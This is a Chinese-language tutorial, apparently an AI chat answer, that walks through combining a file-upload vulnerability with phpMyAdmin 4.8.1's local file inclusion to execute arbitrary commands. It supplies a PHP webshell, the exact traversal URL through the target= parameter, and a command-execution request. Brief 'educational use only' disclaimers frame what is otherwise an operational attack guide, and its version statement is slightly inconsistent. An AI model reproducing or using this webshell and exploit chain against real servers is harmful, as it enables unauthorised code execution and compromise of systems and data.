文件上传漏洞配合文件包含是一种常见的攻击手段，攻击者可以利用这个组合来在服务器上执行任意代码。以下是如何利用文件上传漏洞和本地文件包含（LFI）攻击phpMyAdmin的一个示例。请注意，以下内容仅供教育和研究目的使用，未经授权进行攻击是非法的。

环境准备

• 一个存在文件上传漏洞的Web应用程序。
• phpMyAdmin 4.8.1安装在服务器上。

攻击步骤

步骤 1：发现文件上传漏洞

首先，你需要找到一个可以上传PHP文件的表单或接口。这可能是一个头像上传、文档上传等功能。

步骤 2：上传WebShell

尝试上传一个简单的PHP WebShell。如果服务器有过滤措施，可能需要尝试不同的文件名、文件内容或MIME类型来绕过过滤。

例如，一个简单的PHP WebShell可能如下所示：

php

复制

<?php
system($_GET['cmd']);
?>

保存为 shell.php 并尝试上传。

步骤 3：发现本地文件包含漏洞

接下来，你需要找到一个可以执行本地文件包含的漏洞。这通常是通过include()或require()函数实现的，这些函数可以包含并执行本地文件的内容。

步骤 4：利用phpMyAdmin LFI

phpMyAdmin 4.8.1之前版本存在一个本地文件包含漏洞。你可以通过以下方式利用：

1. 访问phpMyAdmin的index.php页面。
2. 使用以下URL格式触发LFI：

复制

/index.php?target=db_sql.php%253f/../../../../../../../../../../../../../var/www/html/uploads/shell.php

这里../../../../../../../../../../../../../var/www/html/uploads/shell.php是上传的WebShell的路径。你需要根据实际情况调整路径。

步骤 5：执行任意命令

如果LFI成功，你现在可以通过WebShell执行任意命令。例如，如果你上传的WebShell包含system($_GET['cmd']);，你可以通过以下方式执行命令：

复制

/index.php?target=db_sql.php%253f/../../../../../../../../../../../../../var/www/html/uploads/shell.php&cmd=whoami

这将执行whoami命令，并在浏览器中显示结果。

重要提醒

• 上述步骤仅供教育目的。未经授权使用这些步骤攻击服务器是非法的。
• 确保你的测试在法律允许的范围内，并且在一个安全、隔离的环境中。
• 总是遵守相关的法律和道德准则。